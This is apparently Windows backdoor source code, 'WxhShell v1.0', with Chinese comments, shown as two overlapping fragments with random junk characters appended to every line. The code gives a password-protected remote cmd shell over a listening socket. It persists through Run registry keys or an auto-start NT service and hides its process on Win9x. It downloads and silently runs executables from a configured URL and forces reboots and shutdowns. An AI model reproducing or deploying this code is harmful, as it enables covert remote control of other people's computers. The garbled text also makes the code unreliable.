    if(Boot(SHUTDOWN)) I MpEp}7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f =B)jYI  
    else { s8Xort&   
    closesocket(wsh); FE,&_J"  
    ExitThread(0); $_%yr ~2  
    } M S)(\&N  
    break; /{#1w\  
    } "z8L}IC!e5  
  // 获取shell .n'z\] -/Q  
  case 's': { ppP7jiGo  
    CmdShell(wsh); "X=l7{c/  
    closesocket(wsh); =0cyGo  
    ExitThread(0); -y;SR+  
    break; 3XjM@D  
  } hlWTsi4N  
  // 退出 Xkk m~sM6  
  case 'x': { eYLeytF]Uy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |t5K!?{i  
    CloseIt(wsh); Y<0 [_+(  
    break; R-+k>_96|  
    } HZ* <BjE:"  
  // 离开 VQI  
  case 'q': { 9 N[k ?kUZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c$ya{]a  
    closesocket(wsh); ov.7FZ+  
    WSACleanup(); 6&5p3G{%0  
    exit(1); }J$Q  
    break; x'tYf^Va28  
        } n$i}r\ so  
  } c&vY0/ [  
  } ,#@B3~giC  
sS7r)HV&GI  
  // 提示信息 VC,wQb1J/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nSdta'6  
} x>THyY[sq  
  } SRuNt3wW6  
 BR;f!  
  return; OsAH!e  
} n@r'b{2;l  
Q[O[,Rk  
// shell模块句柄 </(bwc~2  
int CmdShell(SOCKET sock) $$_aHkI j  
{  K6d9[;F  
STARTUPINFO si; (P&~PJH  
ZeroMemory(&si,sizeof(si)); v0&E!4q*'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AX! YB'm-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Uax[Zh[Cg  
PROCESS_INFORMATION ProcessInfo; ~vgm; O  
char cmdline[]="cmd"; zBg>I=hiG  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R`sU5:n  
  return 0; >jMq-#*4  
} hY X H9:  
aVcQ  
// 自身启动模式 \W Kly  
int StartFromService(void) xrd@GTaI  
{ {W*_^>;K  
typedef struct H.cN(7LXm  
{ G41 gil6k  
  DWORD ExitStatus; ASME~]]?  
  DWORD PebBaseAddress; c~bi ~ f  
  DWORD AffinityMask; *<Yn  
  DWORD BasePriority; mv_N ns  
  ULONG UniqueProcessId; ,*ZdM w!  
  ULONG InheritedFromUniqueProcessId; #/!fLU@  
}   PROCESS_BASIC_INFORMATION; !.9pV.~  
XG2&_u&  
PROCNTQSIP NtQueryInformationProcess; frV *+  
^|-*amh  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X=$WsfN.h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UZ#Yd|'PD  
0*0]R C5?  
  HANDLE             hProcess; c@H:?s!0R  
  PROCESS_BASIC_INFORMATION pbi; G Xx7/X  
z9OhY]PPF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )bN|*Bw3  
  if(NULL == hInst ) return 0; ) in hPd  
FaS}$-0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ti$d.Kc(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p!5= 1$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {nTQc2T?;  
Uv|z c  
  if (!NtQueryInformationProcess) return 0; VQA}!p  
k/[*Wz$W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "#Ov!t  
  if(!hProcess) return 0; ]gI>ay"\QA  
49. @Uzo  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1haNca_6,  
mRVE@ pc2X  
  CloseHandle(hProcess); XwWp4`Fd  
n-iy;L^b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bV|(V>  
if(hProcess==NULL) return 0; oj\av~cI  
?M?S+@(  
HMODULE hMod; Zq wxi1  
char procName[255]; fT9z 4[M  
unsigned long cbNeeded; ;\~{79c  
A0Z<1|6r*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R1$O)A}k  
lFvRXV^+f  
  CloseHandle(hProcess); 5m2`$y-nb  
3u]#Ra~5  
if(strstr(procName,"services")) return 1; // 以服务启动 pZ4]K xX@  
' *hy!f]  
  return 0; // 注册表启动 i"|="O0v5  
} l"9.zPvT<  
qbu>YTj  
// 主模块 S-)mv'Al'F  
int StartWxhshell(LPSTR lpCmdLine) [X>\!mt  
{ $@]tTz;b  
  SOCKET wsl; pbg[\UJyd  
BOOL val=TRUE; :9`'R0=i^  
  int port=0; llG^+*Y8t  
  struct sockaddr_in door; .-Y3oWV  
S<), ,(  
  if(wscfg.ws_autoins) Install(); FtBYPSGz  
"{a-I=s\C  
port=atoi(lpCmdLine); Vy*&po[   
X; $g7A  
if(port<=0) port=wscfg.ws_port; :0K[fBa  
m|mY_t  
  WSADATA data; V/%tFd1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :W]IJ mI\  
oq00)I1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o5~o Rmsr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #'"zyidu  
  door.sin_family = AF_INET; F3k]*pk8w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d) V"tSC,  
  door.sin_port = htons(port); NyHHK8>  
Z:F5cXt<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %C&HR2  
closesocket(wsl); `LD#fg*  
return 1; ];@"-H  
} |a!AgvNF  
P_:A%T  
  if(listen(wsl,2) == INVALID_SOCKET) { l!Bc0  
closesocket(wsl); :=J~t@  
return 1; w[g(8 #*  
} lgR;V]^YX  
  Wxhshell(wsl); }` &an$Mu  
  WSACleanup(); wPhN_XV  
,SEC~)L  
return 0; G/Ll4 :  
b-sbRR  
} WxNPAJ6YH  
^a9v5hu  
// 以NT服务方式启动 D$k<<dvv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >:5^4/fo*  
{ Vs>/q:I  
DWORD   status = 0; UsT+o  
  DWORD   specificError = 0xfffffff; ?sF<L/P0 F  
!@ERAPuk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;Dl< GW3<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "T>74bj_|Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K@Z K@++  
  serviceStatus.dwWin32ExitCode     = 0; :]?y,e%xu,  
  serviceStatus.dwServiceSpecificExitCode = 0; SSi-Z  
  serviceStatus.dwCheckPoint       = 0; ~(%TQY5  
  serviceStatus.dwWaitHint       = 0; 'G3;!xk$  
:\ %.x3T'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6U{&`8C  
  if (hServiceStatusHandle==0) return; IfyyA  
<@;Y.76~  
status = GetLastError(); Rg/*)SKj  
  if (status!=NO_ERROR) :H}a/ x*ur  
{ D9OI ",h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "wk~[>  
    serviceStatus.dwCheckPoint       = 0; `1I@tz|  
    serviceStatus.dwWaitHint       = 0; &[]0yNG  
    serviceStatus.dwWin32ExitCode     = status; Fi8'3/q-^  
    serviceStatus.dwServiceSpecificExitCode = specificError; `Qzga}`"]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [Xy^M3  
    return; Vf Jpiv1  
  } -8- BVU  
V wj^h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Qg dHIMY  
  serviceStatus.dwCheckPoint       = 0; YHoj^=/b  
  serviceStatus.dwWaitHint       = 0; g[P.lpi{U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L,I5/K6  
} -C9 _gZ  
a-I3#3VJ@  
// 处理NT服务事件,比如:启动、停止 Vq)6+n8o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @S3G>i  
{ .SdHFWx  
switch(fdwControl) 4AI\'M"d  
{ n}8J-/(|+  
case SERVICE_CONTROL_STOP: m @K5eh  
  serviceStatus.dwWin32ExitCode = 0; ~=W|I:@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ym,UJs&  
  serviceStatus.dwCheckPoint   = 0; n<C4-'^U[a  
  serviceStatus.dwWaitHint     = 0; #lA8yWxr  
  { & w{""'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kYxb@Zn=|  
  } M[wd.\ %  
  return; Q}G'=Q]Juz  
case SERVICE_CONTROL_PAUSE: {Vz.| a[T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .r~!d|  
  break; .]_Ye.}  
case SERVICE_CONTROL_CONTINUE: J \iyc,M<M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mp2J|!Lx  
  break; eT??F  
case SERVICE_CONTROL_INTERROGATE: vB0O3]  
  break; 'qRK6}"T  
}; >UTAk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @^Tof5?F?  
} l#8SlRji  
0Xmp)_vba  
// 标准应用程序主函数 !2dA8b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a}N m;5K  
{ u!in>]^  
79:Wo>C3-  
// 获取操作系统版本 y=!"++T]B<  
OsIsNt=GetOsVer(); p1B~:9y9X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]<z4p'F1%  
[da,SM  
  // 从命令行安装 1(V>8}zn  
  if(strpbrk(lpCmdLine,"iI")) Install(); }{Y)[w#R  
<I.anIB:U  
  // 下载执行文件 m2o*d$Ke  
if(wscfg.ws_downexe) { klC;fm2C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ["|' f  
  WinExec(wscfg.ws_filenam,SW_HIDE); `I$'Lp#5  
} =3rPE"@,[  
oiP8~  
if(!OsIsNt) { VV/6~jy0  
// 如果时win9x,隐藏进程并且设置为注册表启动 lSw9e<jYO  
HideProc(); qTK\'trgx]  
StartWxhshell(lpCmdLine); Rpit>  
} cr!6qv1  
else =$`xis\  
  if(StartFromService()) _akC^h T  
  // 以服务方式启动 MB42 3{j  
  StartServiceCtrlDispatcher(DispatchTable); W@NM~+)e  
else x\ieWF1  
  // 普通方式启动 A^+G w\  
  StartWxhshell(lpCmdLine); fFD:E} >5  
?haN ;n6'  
return 0; Y40Hcc+Fx  
} k%w5V>]1  
G #.(% ,  
4&r+K`C0  
0T,Qn{  
=========================================== sW)C6 #  
dI!x Ai  
@=o1q=5@8  
Q9X7- \n  
DXPiC[g]  
,: X+NQ  
" /{pVYY  
S4]}/Imn)  
#include <stdio.h> g0ec-  
#include <string.h> @NMFurm  
#include <windows.h> yYmV^7G  
#include <winsock2.h> ^p#f B4z  
#include <winsvc.h> fI"q/+  
#include <urlmon.h> sY__ak!>  
uSSnr#i^j  
#pragma comment (lib, "Ws2_32.lib") iTTe`Zr5y  
#pragma comment (lib, "urlmon.lib") *0ZL@Kw  
M/GQQG;  
#define MAX_USER   100 // 最大客户端连接数 olPV"<;+pO  
#define BUF_SOCK   200 // sock buffer =w HU*mK  
#define KEY_BUFF   255 // 输入 buffer 2XJn3wPi  
j&(2ze:=*$  
#define REBOOT     0   // 重启 :5X1Tr= A  
#define SHUTDOWN   1   // 关机  8U!;  
Hl"rGA>  
#define DEF_PORT   5000 // 监听端口 '0g1v7Gx  
iq$edq[  
#define REG_LEN     16   // 注册表键长度 |ubDudzp  
#define SVC_LEN     80   // NT服务名长度 `{fqnNJE  
u9>zC QRO  
// 从dll定义API Ojj:YLlY>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4HlOv % 8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8[LwG&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;+]9KIa_Pq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Dt,b\6  
0;z-I"N  
// wxhshell配置信息 *_d+cG  
struct WSCFG { WjZJQK  
  int ws_port;         // 监听端口 )e.Y"5My  
  char ws_passstr[REG_LEN]; // 口令 BCB"& :}  
  int ws_autoins;       // 安装标记, 1=yes 0=no zAEq)9Y"l'  
  char ws_regname[REG_LEN]; // 注册表键名 SdhdXVZ  
  char ws_svcname[REG_LEN]; // 服务名 <1[WNj2[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q g=k@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $,ev <4I&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {GDMix  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (j8tdEt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?(GMe>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WTPp/Nq'  
GSg|Gz""J0  
}; /0QGU4=  
Z;shFMu  
// default Wxhshell configuration <>GWSW  
struct WSCFG wscfg={DEF_PORT, 6GCwc1g  
    "xuhuanlingzhe", f!;i$Oif  
    1, BQWEC,*N  
    "Wxhshell", !}wJ+R ^2  
    "Wxhshell", 0S@O]k)  
            "WxhShell Service", d;&'uiS  
    "Wrsky Windows CmdShell Service", g~_cYy  
    "Please Input Your Password: ", evf){XhT;n  
  1, Kx9Cx 5B  
  "http://www.wrsky.com/wxhshell.exe", <mlQn?u  
  "Wxhshell.exe" ]bO {001y,  
    }; bHcb+TR3  
b u%p,u!  
// 消息定义模块 QC0^G,9.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T[M?:~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; nt\6o?W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "~x\bSY  
char *msg_ws_ext="\n\rExit."; ]c{Zh?0  
char *msg_ws_end="\n\rQuit."; _3<J!$]&p  
char *msg_ws_boot="\n\rReboot..."; lbrob' '+  
char *msg_ws_poff="\n\rShutdown..."; \FN"0P(G  
char *msg_ws_down="\n\rSave to "; 21GjRPs\  
,c"_X8Fkx$  
char *msg_ws_err="\n\rErr!"; ~k+"!'1  
char *msg_ws_ok="\n\rOK!"; RC Fb&,51  
N'R^S98x  
char ExeFile[MAX_PATH]; Z"#ysC  
int nUser = 0; tr"iluwGc  
HANDLE handles[MAX_USER]; >XP]NY}Po[  
int OsIsNt; i'J.c4  
kRNr`yfN  
SERVICE_STATUS       serviceStatus; $wU.GM$t~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c38RE,4U  
}Q_IqI[7  
// 函数声明 yrO'15TB  
int Install(void); x!bFbi#!"  
int Uninstall(void); ?KpHvf'  
int DownloadFile(char *sURL, SOCKET wsh); !o~% F5|t  
int Boot(int flag); V1Dwh@iS  
void HideProc(void); (:E_m|00;  
int GetOsVer(void); 9F)v=  
int Wxhshell(SOCKET wsl); x P{L%.  
void TalkWithClient(void *cs); XG ]yfux`  
int CmdShell(SOCKET sock); ju8tNL,J  
int StartFromService(void); # 'G/&&<  
int StartWxhshell(LPSTR lpCmdLine); Z@&_ T3M  
rz+G]J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N kp>yVj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @PuJre4!;L  
gT-'#K2qT  
// 数据结构和表定义 bs U$mtW  
SERVICE_TABLE_ENTRY DispatchTable[] = 1C+Y|p?KA  
{ |J2_2a/"  
{wscfg.ws_svcname, NTServiceMain}, |$Dt6{h  
{NULL, NULL} h8 >7si  
}; u7G@VZ Ux5  
 'vj45b  
// 自我安装 )hK5_]"lmj  
int Install(void) %KNnss}  
{ kH d_q.  
  char svExeFile[MAX_PATH]; O_0|Q@  
  HKEY key; L q8}z-?  
  strcpy(svExeFile,ExeFile); ~R-S$qizAC  
Yo @>O98  
// 如果是win9x系统,修改注册表设为自启动 1B= vrGq  
if(!OsIsNt) { /,$;xt-J35  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gbwKT`N*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DbJ:KQ!*  
  RegCloseKey(key); .g DWv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Xtbuy/8"1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @i&LKr8  
  RegCloseKey(key); B1c`(mHl  
  return 0; 62rTGbDbx  
    } 0!veLXeK!  
  } zkn K2e,$  
} AuUT 'E@E  
else { )u]J`.OA  
4;Z`u.1  
// 如果是NT以上系统,安装为系统服务 ZH/^``[.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {"!V&}  
if (schSCManager!=0) +l@H[r;$  
{ kt%9PGw  
  SC_HANDLE schService = CreateService soW.  
  ( 7&XU]I  
  schSCManager, %!%3jo0t  
  wscfg.ws_svcname, +oBf\!{cW  
  wscfg.ws_svcdisp, meu\jg  
  SERVICE_ALL_ACCESS, "RuJlp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i;lzFu )G  
  SERVICE_AUTO_START, |vz< FR6  
  SERVICE_ERROR_NORMAL, _IOeO  
  svExeFile, Tk $rwTCl  
  NULL, i0{pm q  
  NULL, !1+L0,I6  
  NULL, 2,puu2F  
  NULL, Z!G_" 3  
  NULL r J ?Y~Q  
  ); ^i_mGeu  
  if (schService!=0) ?;> s<  
  { rtv\Pf|  
  CloseServiceHandle(schService); xb0hJ~e  
  CloseServiceHandle(schSCManager); ^tsIgK^9H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *!%y.$\cE  
  strcat(svExeFile,wscfg.ws_svcname); vi@a87w>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ttn=VX{ \  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yxQxc5/X)  
  RegCloseKey(key); #9EpQc[4  
  return 0; ]0by6hQ  
    } cf1Ve\(YGI  
  } .3qaaXeH  
  CloseServiceHandle(schSCManager); 15VOQE5Fl`  
} "6^tG[G%  
} tf|/_Y2  
flIdL,  
return 1; iHr{ VQ  
} VF!?B>  
RO'MFU<g  
// 自我卸载 ZJsc?*@  
int Uninstall(void) 4pV.R5:  
{ @!'Pr$`  
  HKEY key; c_}i(HQ  
rOyK==8/Fg  
if(!OsIsNt) { IGEf*!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Namw[Tg J  
  RegDeleteValue(key,wscfg.ws_regname); C>$5<bx  
  RegCloseKey(key); af\>+7x93  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;5=J'8f  
  RegDeleteValue(key,wscfg.ws_regname); "uN JQ0Y  
  RegCloseKey(key); LT!B]y  
  return 0; qWKpnofa  
  } v~q2D"  
} Ge@./SGT  
} d{hb gUSj  
else { D#x D-c  
-Vn9YeH+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c?CwxI_b8  
if (schSCManager!=0) gZ   
{ x%B^hH;W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~Lhq7;=H?O  
  if (schService!=0) =DvFY]9{  
  { dl'pl  
  if(DeleteService(schService)!=0) { Y4 ){{bEp  
  CloseServiceHandle(schService); A|CW4f,  
  CloseServiceHandle(schSCManager); 5xwztcR-  
  return 0; Vky~yTL)\  
  } UMm<HQ  
  CloseServiceHandle(schService); 3qiE#+dC  
  } a-4'jT:  
  CloseServiceHandle(schSCManager); Ah='E$t  
} +Qt=N6>  
} />Tyiy]2uu  
i]Lt8DiRq  
return 1; 7]d396%  
} Yb%H9A  
j*x8K,fN  
// 从指定url下载文件 b9)%,3-  
int DownloadFile(char *sURL, SOCKET wsh) UAnq|NJO  
{ WSn^P~vC  
  HRESULT hr; h/5n+*x(  
char seps[]= "/"; Fo3[KW)8I  
char *token; `^9 Zbwq  
char *file; <_uLf9j a  
char myURL[MAX_PATH]; SWD v\Vr  
char myFILE[MAX_PATH]; @R9zLL6#7  
^HLi1w|  
strcpy(myURL,sURL); Z6!MX_ep  
  token=strtok(myURL,seps); zKe&*tZ  
  while(token!=NULL) }C/u>89%q  
  { C#emmg!a\  
    file=token; /YR*KxIx  
  token=strtok(NULL,seps); i?z3!`m  
  } Kw3fpNd  
^-w:D  
GetCurrentDirectory(MAX_PATH,myFILE); ElZ'/l*\  
strcat(myFILE, "\\"); /v: g' #n  
strcat(myFILE, file); r7c(/P^$G  
  send(wsh,myFILE,strlen(myFILE),0); }+nC}A"BC  
send(wsh,"...",3,0); NOP~?p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pB|L%#.cW  
  if(hr==S_OK) Ht5 %fcD  
return 0; Qpndi$2H!  
else j.uN`cU!  
return 1; |0U"#xkf  
$B7<1{<=W  
} 5UVQ48aT  
+[UFf3(ON  
// 系统电源模块 oylY1~~}0K  
int Boot(int flag) ^uW](2  
{ _ YWw7q  
  HANDLE hToken; H?sl_3- #  
  TOKEN_PRIVILEGES tkp; 9.qIhg  
3uwu}aw  
  if(OsIsNt) { Z_QSVH68A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4HVZ;,q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Lt8chNi [  
    tkp.PrivilegeCount = 1; XASoS5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  02Ur'|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ME[Wg\  
if(flag==REBOOT) { -9~kp'_a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %RL\t5 TV  
  return 0; &9$0v"`H  
} 9qIUBHe  
else { p.n]y=o.)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F:%= u =  
  return 0; j2cLb  
} <P'^olQ  
  } df nmUE  
  else { hqnJ@N$yY  
if(flag==REBOOT) { =$}P'[V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b=9(gZ 9  
  return 0; |VB}Kv  
} }9R45h}{<  
else { nZfTK>)A0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6dV@.(][a  
  return 0; xrA(#\}f$  
}  .LEQ r)  
} j1N1c~2  
*qAF#  
return 1; }; +'  
} >Gk<[0U  
+Q_X,gZ  
// win9x进程隐藏模块 fPiq  
void HideProc(void) _{8f^@I"+  
{ sRE$*^i  
Un]`Gd]:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kWF4k  
  if ( hKernel != NULL ) Hig=PG5I  
  { ;*:d)'A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); HW|c -\tS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !aeL*`;  
    FreeLibrary(hKernel); UG s <<  
  } I.fV_ H^  
ibl^A=  
return; }H?8~S =  
} HPCzh  
{ Y|h;@j$  
// 获取操作系统版本 oB-&ma[ZS  
int GetOsVer(void) pco~Z{n  
{ Xl#vVyO  
  OSVERSIONINFO winfo; 1(gb-u0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %/oOM\} ++  
  GetVersionEx(&winfo); t^Aios~F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Fla[YWS  
  return 1; [@";\C_I  
  else >f^&^28  
  return 0; -3qB,KT  
} &"._%S58V  
.i"v([eQ  
// 客户端句柄模块 zpZlA_   
int Wxhshell(SOCKET wsl) WnLgpt2G  
{ \u2K?wC  
  SOCKET wsh; vYL{5,t {1  
  struct sockaddr_in client; z<+".sD'  
  DWORD myID; oZ& ns!#  
J@oGAa%3)  
  while(nUser<MAX_USER) //JF$o=)D  
{ fg8V6FS  
  int nSize=sizeof(client); 6^ wg'u]c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); la8se=^  
  if(wsh==INVALID_SOCKET) return 1; Vvm6T@b M8  
b*nyt F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _R1UEE3M  
if(handles[nUser]==0) t+q LQY}=  
  closesocket(wsh); J@"Pv~R  
else }kT;UdIu;  
  nUser++; %{yr#F=t#]  
  } EQyRP. dq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u%V =Ze  
-]Z!_[MlDF  
  return 0; vROl}s;  
} dY~3 YD[  
UX41/# 4  
// 关闭 socket .Y&_k  
void CloseIt(SOCKET wsh) 7WiVor$g-  
{ ~1S7\e7{  
closesocket(wsh); itm;,Sbg  
nUser--; l'W?X '  
ExitThread(0); *na7/ysT<  
} mppBc-#EYr  
Ufv{6"sH  
// 客户端请求句柄 ";`ddN3  
void TalkWithClient(void *cs) {uM0J$P:  
{ ^Xt9AM]e  
!.+iA=K{  
  SOCKET wsh=(SOCKET)cs; !#rZ eDmw  
  char pwd[SVC_LEN]; Y">Q16(  
  char cmd[KEY_BUFF]; D ,mFme  
char chr[1]; H$Q$3Q!`  
int i,j; C]W VH\P p  
(*/P~$xIj  
  while (nUser < MAX_USER) { u,PrEmy-  
m,K\e  
if(wscfg.ws_passstr) { =V"ags   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L FHyiIO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @IB8(TZ5I  
  //ZeroMemory(pwd,KEY_BUFF); "3Dvc7V  
      i=0; VDPqI+z  
  while(i<SVC_LEN) { %saTyF,  
Fy`VQ\%7t  
  // 设置超时 CLQ\Is^]  
  fd_set FdRead; Yl&eeM  
  struct timeval TimeOut; Z B`!@/3X  
  FD_ZERO(&FdRead); n j; KnZ  
  FD_SET(wsh,&FdRead); plsf` a  
  TimeOut.tv_sec=8; V3yO_Iqa  
  TimeOut.tv_usec=0; D@[$?^H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x)BG%{h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IB}.J,=  
iFF/[P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~SV;"e2N.  
  pwd=chr[0]; 6:v8J1G(<  
  if(chr[0]==0xd || chr[0]==0xa) { i/C#fIB2  
  pwd=0; O~">-'f  
  break; klT6?'S  
  } PgB=<#9  
  i++; 5G(y  
    } MG8-1M  
bkmX@+Pe  
  // 如果是非法用户,关闭 socket @`%.\_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #@2`^1  
} }=?r`J+Ev;  
AW+4Vm_!l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Cla Yy58v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); twf;{lZ(  
@*is]d+Ya  
while(1) { 8Ral%I:gr  
;f?OT7>kN  
  ZeroMemory(cmd,KEY_BUFF); d^ipf*aLC  
t^8#~o!%  
      // 自动支持客户端 telnet标准   RZOk.~[v  
  j=0; J-Sf9^G  
  while(j<KEY_BUFF) { '! yyg#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b2U[W#  
  cmd[j]=chr[0]; `"GD'Oa  
  if(chr[0]==0xa || chr[0]==0xd) { 9^igzRn0  
  cmd[j]=0; nqgfAQsE)  
  break; w V;y]'  
  } #xYkG5`lm  
  j++; BzTm[`(h  
    } J#Bz )WmR  
GZI[qKDfB  
  // 下载文件 aFIet55o  
  if(strstr(cmd,"http://")) { #g~~zwx/N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @{+*ea7M(`  
  if(DownloadFile(cmd,wsh)) wKk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); um&N|5lHb  
  else 5mER&SX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rv.W~FE^  
  } rQKBT]?y  
  else { kwWO1=ikz@  
t:m t9}$d  
